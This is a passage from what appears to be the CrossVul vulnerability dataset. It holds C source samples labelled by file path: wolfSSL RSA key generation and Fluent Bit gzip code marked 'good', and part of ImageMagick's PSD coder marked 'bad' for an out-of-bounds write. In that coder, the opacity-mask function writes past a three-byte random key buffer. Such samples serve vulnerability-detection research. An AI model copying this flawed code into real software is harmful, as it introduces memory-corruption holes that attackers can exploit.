*tmp3 = (mp_int *)XMALLOC(sizeof *tmp3, key->heap, DYNAMIC_TYPE_RSA); #else mp_int p_buf, *p = &p_buf; mp_int q_buf, *q = &q_buf; mp_int tmp1_buf, *tmp1 = &tmp1_buf; mp_int tmp2_buf, *tmp2 = &tmp2_buf; mp_int tmp3_buf, *tmp3 = &tmp3_buf; #endif int err, i, failCount, primeSz, isPrime = 0; byte* buf = NULL; #ifdef WOLFSSL_SMALL_STACK if ((p == NULL) || (q == NULL) || (tmp1 == NULL) || (tmp2 == NULL) || (tmp3 == NULL)) { err = MEMORY_E; goto out; } #endif if (key == NULL || rng == NULL) { err = BAD_FUNC_ARG; goto out; } if (!RsaSizeCheck(size)) { err = BAD_FUNC_ARG; goto out; } if (e < 3 || (e & 1) == 0) { err = BAD_FUNC_ARG; goto out; } #if defined(WOLFSSL_CRYPTOCELL) err = cc310_RSA_GenerateKeyPair(key, size, e); goto out; #endif /*WOLFSSL_CRYPTOCELL*/ #ifdef WOLF_CRYPTO_CB if (key->devId != INVALID_DEVID) { err = wc_CryptoCb_MakeRsaKey(key, size, e, rng); if (err != CRYPTOCB_UNAVAILABLE) goto out; /* fall-through when unavailable */ } #endif #if defined(WOLFSSL_ASYNC_CRYPT) && defined(WC_ASYNC_ENABLE_RSA) && \ defined(WC_ASYNC_ENABLE_RSA_KEYGEN) if (key->asyncDev.marker == WOLFSSL_ASYNC_MARKER_RSA) { #ifdef HAVE_CAVIUM /* TODO: Not implemented */ #elif defined(HAVE_INTEL_QA) err = IntelQaRsaKeyGen(&key->asyncDev, key, size, e, rng); goto out; #else if (wc_AsyncTestInit(&key->asyncDev, ASYNC_TEST_RSA_MAKE)) { WC_ASYNC_TEST* testDev = &key->asyncDev.test; testDev->rsaMake.rng = rng; testDev->rsaMake.key = key; testDev->rsaMake.size = size; testDev->rsaMake.e = e; err = WC_PENDING_E; goto out; } #endif } #endif err = mp_init_multi(p, q, tmp1, tmp2, tmp3, NULL); if (err == MP_OKAY) err = mp_set_int(tmp3, e); /* The failCount value comes from NIST FIPS 186-4, section B.3.3, * process steps 4.7 and 5.8. */ failCount = 5 * (size / 2); primeSz = size / 16; /* size is the size of n in bits. primeSz is in bytes. */ /* allocate buffer to work with */ if (err == MP_OKAY) { buf = (byte*)XMALLOC(primeSz, key->heap, DYNAMIC_TYPE_RSA); if (buf == NULL) err = MEMORY_E; } /* make p */ if (err == MP_OKAY) { isPrime = 0; i = 0; do { #ifdef SHOW_GEN printf("."); fflush(stdout); #endif /* generate value */ err = wc_RNG_GenerateBlock(rng, buf, primeSz); if (err == 0) { /* prime lower bound has the MSB set, set it in candidate */ buf[0] |= 0x80; /* make candidate odd */ buf[primeSz-1] |= 0x01; /* load value */ err = mp_read_unsigned_bin(p, buf, primeSz); } if (err == MP_OKAY) err = _CheckProbablePrime(p, NULL, tmp3, size, &isPrime, rng); #ifdef HAVE_FIPS i++; #else /* Keep the old retry behavior in non-FIPS build. */ (void)i; #endif } while (err == MP_OKAY && !isPrime && i < failCount); } if (err == MP_OKAY && !isPrime) err = PRIME_GEN_E; /* make q */ if (err == MP_OKAY) { isPrime = 0; i = 0; do { #ifdef SHOW_GEN printf("."); fflush(stdout); #endif /* generate value */ err = wc_RNG_GenerateBlock(rng, buf, primeSz); if (err == 0) { /* prime lower bound has the MSB set, set it in candidate */ buf[0] |= 0x80; /* make candidate odd */ buf[primeSz-1] |= 0x01; /* load value */ err = mp_read_unsigned_bin(q, buf, primeSz); } if (err == MP_OKAY) err = _CheckProbablePrime(p, q, tmp3, size, &isPrime, rng); #ifdef HAVE_FIPS i++; #else /* Keep the old retry behavior in non-FIPS build. */ (void)i; #endif } while (err == MP_OKAY && !isPrime && i < failCount); } if (err == MP_OKAY && !isPrime) err = PRIME_GEN_E; if (buf) { ForceZero(buf, primeSz); XFREE(buf, key->heap, DYNAMIC_TYPE_RSA); } if (err == MP_OKAY && mp_cmp(p, q) < 0) { err = mp_copy(p, tmp1); if (err == MP_OKAY) err = mp_copy(q, p); if (err == MP_OKAY) mp_copy(tmp1, q); } /* Setup RsaKey buffers */ if (err == MP_OKAY) err = mp_init_multi(&key->n, &key->e, &key->d, &key->p, &key->q, NULL); if (err == MP_OKAY) err = mp_init_multi(&key->dP, &key->dQ, &key->u, NULL, NULL, NULL); /* Software Key Calculation */ if (err == MP_OKAY) /* tmp1 = p-1 */ err = mp_sub_d(p, 1, tmp1); if (err == MP_OKAY) /* tmp2 = q-1 */ err = mp_sub_d(q, 1, tmp2); #ifdef WC_RSA_BLINDING if (err == MP_OKAY) /* tmp3 = order of n */ err = mp_mul(tmp1, tmp2, tmp3); #else if (err == MP_OKAY) /* tmp3 = lcm(p-1, q-1), last loop */ err = mp_lcm(tmp1, tmp2, tmp3); #endif /* make key */ if (err == MP_OKAY) /* key->e = e */ err = mp_set_int(&key->e, (mp_digit)e); #ifdef WC_RSA_BLINDING /* Blind the inverse operation with a value that is invertable */ if (err == MP_OKAY) { do { err = mp_rand(&key->p, get_digit_count(tmp3), rng); if (err == MP_OKAY) err = mp_set_bit(&key->p, 0); if (err == MP_OKAY) err = mp_set_bit(&key->p, size - 1); if (err == MP_OKAY) err = mp_gcd(&key->p, tmp3, &key->q); } while ((err == MP_OKAY) && !mp_isone(&key->q)); } if (err == MP_OKAY) err = mp_mul_d(&key->p, (mp_digit)e, &key->e); #endif if (err == MP_OKAY) /* key->d = 1/e mod lcm(p-1, q-1) */ err = mp_invmod(&key->e, tmp3, &key->d); #ifdef WC_RSA_BLINDING /* Take off blinding from d and reset e */ if (err == MP_OKAY) err = mp_mulmod(&key->d, &key->p, tmp3, &key->d); if (err == MP_OKAY) err = mp_set_int(&key->e, (mp_digit)e); #endif if (err == MP_OKAY) /* key->n = pq */ err = mp_mul(p, q, &key->n); if (err == MP_OKAY) /* key->dP = d mod(p-1) */ err = mp_mod(&key->d, tmp1, &key->dP); if (err == MP_OKAY) /* key->dQ = d mod(q-1) */ err = mp_mod(&key->d, tmp2, &key->dQ); #ifdef WOLFSSL_MP_INVMOD_CONSTANT_TIME if (err == MP_OKAY) /* key->u = 1/q mod p */ err = mp_invmod(q, p, &key->u); #else if (err == MP_OKAY) err = mp_sub_d(p, 2, tmp3); if (err == MP_OKAY) /* key->u = 1/q mod p = q^p-2 mod p */ err = mp_exptmod(q, tmp3 , p, &key->u); #endif if (err == MP_OKAY) err = mp_copy(p, &key->p); if (err == MP_OKAY) err = mp_copy(q, &key->q); #ifdef HAVE_WOLF_BIGINT /* make sure raw unsigned bin version is available */ if (err == MP_OKAY) err = wc_mp_to_bigint(&key->n, &key->n.raw); if (err == MP_OKAY) err = wc_mp_to_bigint(&key->e, &key->e.raw); if (err == MP_OKAY) err = wc_mp_to_bigint(&key->d, &key->d.raw); if (err == MP_OKAY) err = wc_mp_to_bigint(&key->p, &key->p.raw); if (err == MP_OKAY) err = wc_mp_to_bigint(&key->q, &key->q.raw); if (err == MP_OKAY) err = wc_mp_to_bigint(&key->dP, &key->dP.raw); if (err == MP_OKAY) err = wc_mp_to_bigint(&key->dQ, &key->dQ.raw); if (err == MP_OKAY) err = wc_mp_to_bigint(&key->u, &key->u.raw); #endif if (err == MP_OKAY) key->type = RSA_PRIVATE; mp_clear(tmp1); mp_clear(tmp2); mp_clear(tmp3); mp_clear(p); mp_clear(q); #if defined(WOLFSSL_KEY_GEN) && !defined(WOLFSSL_NO_RSA_KEY_CHECK) /* Perform the pair-wise consistency test on the new key. */ if (err == 0) err = wc_CheckRsaKey(key); #endif if (err != 0) { wc_FreeRsaKey(key); goto out; } #if defined(WOLFSSL_XILINX_CRYPT) || defined(WOLFSSL_CRYPTOCELL) if (wc_InitRsaHw(key) != 0) { return BAD_STATE_E; } #endif err = 0; out: #ifdef WOLFSSL_SMALL_STACK if (p) XFREE(p, key->heap, DYNAMIC_TYPE_RSA); if (q) XFREE(q, key->heap, DYNAMIC_TYPE_RSA); if (tmp1) XFREE(tmp1, key->heap, DYNAMIC_TYPE_RSA); if (tmp2) XFREE(tmp2, key->heap, DYNAMIC_TYPE_RSA); if (tmp3) XFREE(tmp3, key->heap, DYNAMIC_TYPE_RSA); #endif return err; #else return NOT_COMPILED_IN; #endif } #endif /* !FIPS || FIPS_VER >= 2 */ #endif /* WOLFSSL_KEY_GEN */ #ifdef WC_RSA_BLINDING int wc_RsaSetRNG(RsaKey* key, WC_RNG* rng) { if (key == NULL) return BAD_FUNC_ARG; key->rng = rng; return 0; } #endif /* WC_RSA_BLINDING */ #ifdef WC_RSA_NONBLOCK int wc_RsaSetNonBlock(RsaKey* key, RsaNb* nb) { if (key == NULL) return BAD_FUNC_ARG; if (nb) { XMEMSET(nb, 0, sizeof(RsaNb)); } /* Allow nb == NULL to clear non-block mode */ key->nb = nb; return 0; } #ifdef WC_RSA_NONBLOCK_TIME int wc_RsaSetNonBlockTime(RsaKey* key, word32 maxBlockUs, word32 cpuMHz) { if (key == NULL || key->nb == NULL) { return BAD_FUNC_ARG; } /* calculate maximum number of instructions to block */ key->nb->exptmod.maxBlockInst = cpuMHz * maxBlockUs; return 0; } #endif /* WC_RSA_NONBLOCK_TIME */ #endif /* WC_RSA_NONBLOCK */ #endif /* NO_RSA */
./CrossVul/dataset_final_sorted/CWE-787/c/good_4490_0
crossvul-cpp_data_good_4483_0
/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* Fluent Bit * ========== * Copyright (C) 2019-2020 The Fluent Bit Authors * Copyright (C) 2015-2018 Treasure Data Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <fluent-bit/flb_info.h> #include <fluent-bit/flb_mem.h> #include <fluent-bit/flb_log.h> #include <fluent-bit/flb_gzip.h> #include <miniz/miniz.h> #define FLB_GZIP_HEADER_OFFSET 10 typedef enum { FTEXT = 1, FHCRC = 2, FEXTRA = 4, FNAME = 8, FCOMMENT = 16 } flb_tinf_gzip_flag; static unsigned int read_le16(const unsigned char *p) { return ((unsigned int) p[0]) | ((unsigned int) p[1] << 8); } static unsigned int read_le32(const unsigned char *p) { return ((unsigned int) p[0]) | ((unsigned int) p[1] << 8) | ((unsigned int) p[2] << 16) | ((unsigned int) p[3] << 24); } static inline void gzip_header(void *buf) { uint8_t *p; /* GZip Magic bytes */ p = buf; *p++ = 0x1F; *p++ = 0x8B; *p++ = 8; *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0xFF; } int flb_gzip_compress(void *in_data, size_t in_len, void **out_data, size_t *out_len) { int flush; int status; int footer_start; uint8_t *pb; size_t out_size; void *out_buf; z_stream strm; mz_ulong crc; /* * GZIP relies on an algorithm with worst-case expansion * of 5 bytes per 32KB data. This means we need to create a variable * length output, that depends on the input length. * See RFC 1951 for details. */ int max_input_expansion = ((int)(in_len / 32000) + 1) * 5; /* * Max compressed size is equal to sum of: * 10 byte header * 8 byte foot * max input expansion * size of input */ out_size = 10 + 8 + max_input_expansion + in_len; out_buf = flb_malloc(out_size); if (!out_buf) { flb_errno(); flb_error("[gzip] could not allocate outgoing buffer"); return -1; } /* Initialize streaming buffer context */ memset(&strm, '\0', sizeof(strm)); strm.zalloc = Z_NULL; strm.zfree = Z_NULL; strm.opaque = Z_NULL; strm.next_in = in_data; strm.avail_in = in_len; strm.total_out = 0; /* Deflate mode */ deflateInit2(&strm, Z_DEFAULT_COMPRESSION, Z_DEFLATED, -Z_DEFAULT_WINDOW_BITS, 9, Z_DEFAULT_STRATEGY); /* * Miniz don't support GZip format directly, instead we will: * * - append manual GZip magic bytes * - deflate raw content * - append manual CRC32 data */ gzip_header(out_buf); /* Header offset */ pb = (uint8_t *) out_buf + FLB_GZIP_HEADER_OFFSET; flush = Z_NO_FLUSH; while (1) { strm.next_out = pb + strm.total_out; strm.avail_out = out_size - (pb - (uint8_t *) out_buf); if (strm.avail_in == 0) { flush = Z_FINISH; } status = deflate(&strm, flush); if (status == Z_STREAM_END) { break; } else if (status != Z_OK) { deflateEnd(&strm); return -1; } } if (deflateEnd(&strm) != Z_OK) { flb_free(out_buf); return -1; } *out_len = strm.total_out; /* Construct the gzip checksum (CRC32 footer) */ footer_start = FLB_GZIP_HEADER_OFFSET + *out_len; pb = (uint8_t *) out_buf + footer_start; crc = mz_crc32(MZ_CRC32_INIT, in_data, in_len); *pb++ = crc & 0xFF; *pb++ = (crc >> 8) & 0xFF; *pb++ = (crc >> 16) & 0xFF; *pb++ = (crc >> 24) & 0xFF; *pb++ = in_len & 0xFF; *pb++ = (in_len >> 8) & 0xFF; *pb++ = (in_len >> 16) & 0xFF; *pb++ = (in_len >> 24) & 0xFF; /* Set the real buffer size for the caller */ *out_len += FLB_GZIP_HEADER_OFFSET + 8; *out_data = out_buf; return 0; } /* Uncompress (inflate) GZip data */ int flb_gzip_uncompress(void *in_data, size_t in_len, void **out_data, size_t *out_len) { int status; uint8_t *p; void *out_buf; size_t out_size = 0; void *zip_data; size_t zip_len; unsigned char flg; unsigned int xlen, hcrc; unsigned int dlen, crc; mz_ulong crc_out; mz_stream stream; const unsigned char *start; /* Minimal length: header + crc32 */ if (in_len < 18) { flb_error("[gzip] unexpected content length"); return -1; } /* Magic bytes */ p = in_data; if (p[0] != 0x1F || p[1] != 0x8B) { flb_error("[gzip] invalid magic bytes"); return -1; } if (p[2] != 8) { flb_error("[gzip] invalid method"); return -1; } /* Flag byte */ flg = p[3]; /* Reserved bits */ if (flg & 0xE0) { flb_error("[gzip] invalid flag"); return -1; } /* Skip base header of 10 bytes */ start = p + FLB_GZIP_HEADER_OFFSET; /* Skip extra data if present */ if (flg & FEXTRA) { xlen = read_le16(start); if (xlen > in_len - 12) { flb_error("[gzip] invalid gzip data"); return -1; } start += xlen + 2; } /* Skip file name if present */ if (flg & FNAME) { do { if (start - p >= in_len) { flb_error("[gzip] invalid gzip data (FNAME)"); return -1; } } while (*start++); } /* Skip file comment if present */ if (flg & FCOMMENT) { do { if (start - p >= in_len) { flb_error("[gzip] invalid gzip data (FCOMMENT)"); return -1; } } while (*start++); } /* Check header crc if present */ if (flg & FHCRC) { if (start - p > in_len - 2) { flb_error("[gzip] invalid gzip data (FHRC)"); return -1; } hcrc = read_le16(start); crc = mz_crc32(MZ_CRC32_INIT, p, start - p) & 0x0000FFFF; if (hcrc != crc) { flb_error("[gzip] invalid gzip header CRC"); return -1; } start += 2; } /* Get decompressed length */ dlen = read_le32(&p[in_len - 4]); /* Get CRC32 checksum of original data */ crc = read_le32(&p[in_len - 8]); /* Decompress data */ if ((p + in_len) - p < 8) { flb_error("[gzip] invalid gzip CRC32 checksum"); return -1; } /* Allocate outgoing buffer */ out_buf = flb_malloc(dlen); if (!out_buf) { flb_errno(); return -1; } out_size = dlen; /* Map zip content */ zip_data = (uint8_t *) start; zip_len = (p + in_len) - start - 8; memset(&stream, 0, sizeof(stream)); stream.next_in = zip_data; stream.avail_in = zip_len; stream.next_out = out_buf; stream.avail_out = out_size; status = mz_inflateInit2(&stream, -Z_DEFAULT_WINDOW_BITS); if (status != MZ_OK) { flb_free(out_buf); return -1; } status = mz_inflate(&stream, MZ_FINISH); if (status != MZ_STREAM_END) { mz_inflateEnd(&stream); flb_free(out_buf); return -1; } if (stream.total_out != dlen) { mz_inflateEnd(&stream); flb_free(out_buf); flb_error("[gzip] invalid gzip data size"); return -1; } /* terminate the stream, it's not longer required */ mz_inflateEnd(&stream); /* Validate message CRC vs inflated data CRC */ crc_out = mz_crc32(MZ_CRC32_INIT, out_buf, dlen); if (crc_out != crc) { flb_free(out_buf); flb_error("[gzip] invalid GZip checksum (CRC32)"); return -1; } /* set the uncompressed data */ *out_len = dlen; *out_data = out_buf; return 0; }
./CrossVul/dataset_final_sorted/CWE-787/c/good_4483_0
crossvul-cpp_data_bad_3108_0
/* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % PPPP SSSSS DDDD % % P P SS D D % % PPPP SSS D D % % P SS D D % % P SSSSS DDDD % % % % % % Read/Write Adobe Photoshop Image Format % % % % Software Design % % Cristy % % Leonard Rosenthol % % July 1992 % % Dirk Lemstra % % December 2013 % % % % % % Copyright 1999-2017 ImageMagick Studio LLC, a non-profit organization % % dedicated to making software imaging solutions freely available. % % % % You may not use this file except in compliance with the License. You may % % obtain a copy of the License at % % % % http://www.imagemagick.org/script/license.php % % % % Unless required by applicable law or agreed to in writing, software % % distributed under the License is distributed on an "AS IS" BASIS, % % WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. % % See the License for the specific language governing permissions and % % limitations under the License. % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % */ /* Include declarations. */ #include "magick/studio.h" #include "magick/artifact.h" #include "magick/attribute.h" #include "magick/blob.h" #include "magick/blob-private.h" #include "magick/cache.h" #include "magick/channel.h" #include "magick/colormap.h" #include "magick/colormap-private.h" #include "magick/colorspace.h" #include "magick/colorspace-private.h" #include "magick/constitute.h" #include "magick/enhance.h" #include "magick/exception.h" #include "magick/exception-private.h" #include "magick/image.h" #include "magick/image-private.h" #include "magick/list.h" #include "magick/log.h" #include "magick/magick.h" #include "magick/memory_.h" #include "magick/module.h" #include "magick/monitor-private.h" #include "magick/option.h" #include "magick/pixel.h" #include "magick/pixel-accessor.h" #include "magick/profile.h" #include "magick/property.h" #include "magick/registry.h" #include "magick/quantum-private.h" #include "magick/static.h" #include "magick/string_.h" #include "magick/string-private.h" #include "magick/thread-private.h" #ifdef MAGICKCORE_ZLIB_DELEGATE #include <zlib.h> #endif #include "psd-private.h" /* Define declaractions. */ #define MaxPSDChannels 56 #define PSDQuantum(x) (((ssize_t) (x)+1) & -2) /* Enumerated declaractions. */ typedef enum { Raw = 0, RLE = 1, ZipWithoutPrediction = 2, ZipWithPrediction = 3 } PSDCompressionType; typedef enum { BitmapMode = 0, GrayscaleMode = 1, IndexedMode = 2, RGBMode = 3, CMYKMode = 4, MultichannelMode = 7, DuotoneMode = 8, LabMode = 9 } PSDImageType; /* Typedef declaractions. */ typedef struct _ChannelInfo { short int type; size_t size; } ChannelInfo; typedef struct _MaskInfo { Image *image; RectangleInfo page; unsigned char background, flags; } MaskInfo; typedef struct _LayerInfo { ChannelInfo channel_info[MaxPSDChannels]; char blendkey[4]; Image *image; MaskInfo mask; Quantum opacity; RectangleInfo page; size_t offset_x, offset_y; unsigned char clipping, flags, name[256], visible; unsigned short channels; StringInfo *info; } LayerInfo; /* Forward declarations. */ static MagickBooleanType WritePSDImage(const ImageInfo *,Image *); /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % I s P S D % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % IsPSD()() returns MagickTrue if the image format type, identified by the % magick string, is PSD. % % The format of the IsPSD method is: % % MagickBooleanType IsPSD(const unsigned char *magick,const size_t length) % % A description of each parameter follows: % % o magick: compare image format pattern against these bytes. % % o length: Specifies the length of the magick string. % */ static MagickBooleanType IsPSD(const unsigned char *magick,const size_t length) { if (length < 4) return(MagickFalse); if (LocaleNCompare((const char *) magick,"8BPS",4) == 0) return(MagickTrue); return(MagickFalse); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % R e a d P S D I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % ReadPSDImage() reads an Adobe Photoshop image file and returns it. It % allocates the memory necessary for the new Image structure and returns a % pointer to the new image. % % The format of the ReadPSDImage method is: % % Image *ReadPSDImage(image_info,ExceptionInfo *exception) % % A description of each parameter follows: % % o image_info: the image info. % % o exception: return any errors or warnings in this structure. % */ static const char *CompositeOperatorToPSDBlendMode(CompositeOperator op) { const char *blend_mode; switch (op) { case ColorBurnCompositeOp: blend_mode = "idiv"; break; case ColorDodgeCompositeOp: blend_mode = "div "; break; case ColorizeCompositeOp: blend_mode = "colr"; break; case DarkenCompositeOp: blend_mode = "dark"; break; case DifferenceCompositeOp: blend_mode = "diff"; break; case DissolveCompositeOp: blend_mode = "diss"; break; case ExclusionCompositeOp: blend_mode = "smud"; break; case HardLightCompositeOp: blend_mode = "hLit"; break; case HardMixCompositeOp: blend_mode = "hMix"; break; case HueCompositeOp: blend_mode = "hue "; break; case LightenCompositeOp: blend_mode = "lite"; break; case LinearBurnCompositeOp: blend_mode = "lbrn"; break; case LinearDodgeCompositeOp:blend_mode = "lddg"; break; case LinearLightCompositeOp:blend_mode = "lLit"; break; case LuminizeCompositeOp: blend_mode = "lum "; break; case MultiplyCompositeOp: blend_mode = "mul "; break; case OverCompositeOp: blend_mode = "norm"; break; case OverlayCompositeOp: blend_mode = "over"; break; case PinLightCompositeOp: blend_mode = "pLit"; break; case SaturateCompositeOp: blend_mode = "sat "; break; case ScreenCompositeOp: blend_mode = "scrn"; break; case SoftLightCompositeOp: blend_mode = "sLit"; break; case VividLightCompositeOp: blend_mode = "vLit"; break; default: blend_mode = "norm"; break; } return(blend_mode); } /* For some reason Photoshop seems to blend semi-transparent pixels with white. This method reverts the blending. This can be disabled by setting the option 'psd:alpha-unblend' to off. */ static MagickBooleanType CorrectPSDAlphaBlend(const ImageInfo *image_info, Image *image, ExceptionInfo* exception) { const char *option; MagickBooleanType status; ssize_t y; if (image->matte == MagickFalse || image->colorspace != sRGBColorspace) return(MagickTrue); option=GetImageOption(image_info,"psd:alpha-unblend"); if (IsStringNotFalse(option) == MagickFalse) return(MagickTrue); status=MagickTrue; #if defined(MAGICKCORE_OPENMP_SUPPORT) #pragma omp parallel for schedule(static,4) shared(status) \ magick_threads(image,image,image->rows,1) #endif for (y=0; y < (ssize_t) image->rows; y++) { register PixelPacket *magick_restrict q; register ssize_t x; if (status == MagickFalse) continue; q=GetAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (PixelPacket *) NULL) { status=MagickFalse; continue; } for (x=0; x < (ssize_t) image->columns; x++) { double gamma; gamma=QuantumScale*GetPixelAlpha(q); if (gamma != 0.0 && gamma != 1.0) { SetPixelRed(q,(GetPixelRed(q)-((1.0-gamma)*QuantumRange))/gamma); SetPixelGreen(q,(GetPixelGreen(q)-((1.0-gamma)*QuantumRange))/gamma); SetPixelBlue(q,(GetPixelBlue(q)-((1.0-gamma)*QuantumRange))/gamma); } q++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) status=MagickFalse; } return(status); } static inline CompressionType ConvertPSDCompression( PSDCompressionType compression) { switch (compression) { case RLE: return RLECompression; case ZipWithPrediction: case ZipWithoutPrediction: return ZipCompression; default: return NoCompression; } } static MagickBooleanType ApplyPSDLayerOpacity(Image *image,Quantum opacity, MagickBooleanType revert,ExceptionInfo *exception) { MagickBooleanType status; ssize_t y; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " applying layer opacity %.20g", (double) opacity); if (opacity == QuantumRange) return(MagickTrue); image->matte=MagickTrue; status=MagickTrue; #if defined(MAGICKCORE_OPENMP_SUPPORT) #pragma omp parallel for schedule(static,4) shared(status) \ magick_threads(image,image,image->rows,1) #endif for (y=0; y < (ssize_t) image->rows; y++) { register PixelPacket *magick_restrict q; register ssize_t x; if (status == MagickFalse) continue; q=GetAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (PixelPacket *) NULL) { status=MagickFalse; continue; } for (x=0; x < (ssize_t) image->columns; x++) { if (revert == MagickFalse) SetPixelAlpha(q,(Quantum) (QuantumScale*(GetPixelAlpha(q)*opacity))); else if (opacity > 0) SetPixelAlpha(q,(Quantum) (QuantumRange*(GetPixelAlpha(q)/ (MagickRealType) opacity))); q++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) status=MagickFalse; } return(status); } static MagickBooleanType ApplyPSDOpacityMask(Image *image,const Image *mask, Quantum background,MagickBooleanType revert,ExceptionInfo *exception) { Image *complete_mask; MagickBooleanType status; MagickPixelPacket color; ssize_t y; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " applying opacity mask"); complete_mask=CloneImage(image,image->columns,image->rows,MagickTrue, exception); complete_mask->matte=MagickTrue; GetMagickPixelPacket(complete_mask,&color); color.red=background; SetImageColor(complete_mask,&color); status=CompositeImage(complete_mask,OverCompositeOp,mask, mask->page.x-image->page.x,mask->page.y-image->page.y); if (status == MagickFalse) { complete_mask=DestroyImage(complete_mask); return(status); } image->matte=MagickTrue; #if defined(MAGICKCORE_OPENMP_SUPPORT) #pragma omp parallel for schedule(static,4) shared(status) \ magick_threads(image,image,image->rows,1) #endif for (y=0; y < (ssize_t) image->rows; y++) { register PixelPacket *magick_restrict q; register PixelPacket *p; register ssize_t x; if (status == MagickFalse) continue; q=GetAuthenticPixels(image,0,y,image->columns,1,exception); p=GetAuthenticPixels(complete_mask,0,y,complete_mask->columns,1,exception); if ((q == (PixelPacket *) NULL) || (p == (PixelPacket *) NULL)) { status=MagickFalse; continue; } for (x=0; x < (ssize_t) image->columns; x++) { MagickRealType alpha, intensity; alpha=GetPixelAlpha(q); intensity=GetPixelIntensity(complete_mask,p); if (revert == MagickFalse) SetPixelAlpha(q,ClampToQuantum(intensity*(QuantumScale*alpha))); else if (intensity > 0) SetPixelAlpha(q,ClampToQuantum((alpha/intensity)*QuantumRange)); q++; p++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) status=MagickFalse; } complete_mask=DestroyImage(complete_mask); return(status); } static void PreservePSDOpacityMask(Image *image,LayerInfo* layer_info, ExceptionInfo *exception) { char *key; RandomInfo *random_info; StringInfo *key_info; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " preserving opacity mask"); random_info=AcquireRandomInfo(); key_info=GetRandomKey(random_info,2+1); key=(char *) GetStringInfoDatum(key_info); key[8]=layer_info->mask.background; key[9]='\0'; layer_info->mask.image->page.x+=layer_info->page.x; layer_info->mask.image->page.y+=layer_info->page.y; (void) SetImageRegistry(ImageRegistryType,(const char *) key, layer_info->mask.image,exception); (void) SetImageArtifact(layer_info->image,"psd:opacity-mask", (const char *) key); key_info=DestroyStringInfo(key_info); random_info=DestroyRandomInfo(random_info); } static ssize_t DecodePSDPixels(const size_t number_compact_pixels, const unsigned char *compact_pixels,const ssize_t depth, const size_t number_pixels,unsigned char *pixels) { #define CheckNumberCompactPixels \ if (packets == 0) \ return(i); \ packets-- #define CheckNumberPixels(count) \ if (((ssize_t) i + count) > (ssize_t) number_pixels) \ return(i); \ i+=count int pixel; register ssize_t i, j; size_t length; ssize_t packets; packets=(ssize_t) number_compact_pixels; for (i=0; (packets > 1) && (i < (ssize_t) number_pixels); ) { packets--; length=(size_t) (*compact_pixels++); if (length == 128) continue; if (length > 128) { length=256-length+1; CheckNumberCompactPixels; pixel=(*compact_pixels++); for (j=0; j < (ssize_t) length; j++) { switch (depth) { case 1: { CheckNumberPixels(8); *pixels++=(pixel >> 7) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 6) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 5) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 4) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 3) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 2) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 1) & 0x01 ? 0U : 255U; *pixels++=(pixel >> 0) & 0x01 ? 0U : 255U; break; } case 2: { CheckNumberPixels(4); *pixels++=(unsigned char) ((pixel >> 6) & 0x03); *pixels++=(unsigned char) ((pixel >> 4) & 0x03); *pixels++=(unsigned char) ((pixel >> 2) & 0x03); *pixels++=(unsigned char) ((pixel & 0x03) & 0x03); break; } case 4: { CheckNumberPixels(2); *pixels++=(unsigned char) ((pixel >> 4) & 0xff); *pixels++=(unsigned char) ((pixel & 0x0f) & 0xff); break; } default: { CheckNumberPixels(1); *pixels++=(unsigned char) pixel; break; } } } continue; } length++; for (j=0; j < (ssize_t) length; j++) { CheckNumberCompactPixels; switch (depth) { case 1: { CheckNumberPixels(8); *pixels++=(*compact_pixels >> 7) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 6) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 5) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 4) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 3) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 2) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 1) & 0x01 ? 0U : 255U; *pixels++=(*compact_pixels >> 0) & 0x01 ? 0U : 255U; break; } case 2: { CheckNumberPixels(4); *pixels++=(*compact_pixels >> 6) & 0x03; *pixels++=(*compact_pixels >> 4) & 0x03; *pixels++=(*compact_pixels >> 2) & 0x03; *pixels++=(*compact_pixels & 0x03) & 0x03; break; } case 4: { CheckNumberPixels(2); *pixels++=(*compact_pixels >> 4) & 0xff; *pixels++=(*compact_pixels & 0x0f) & 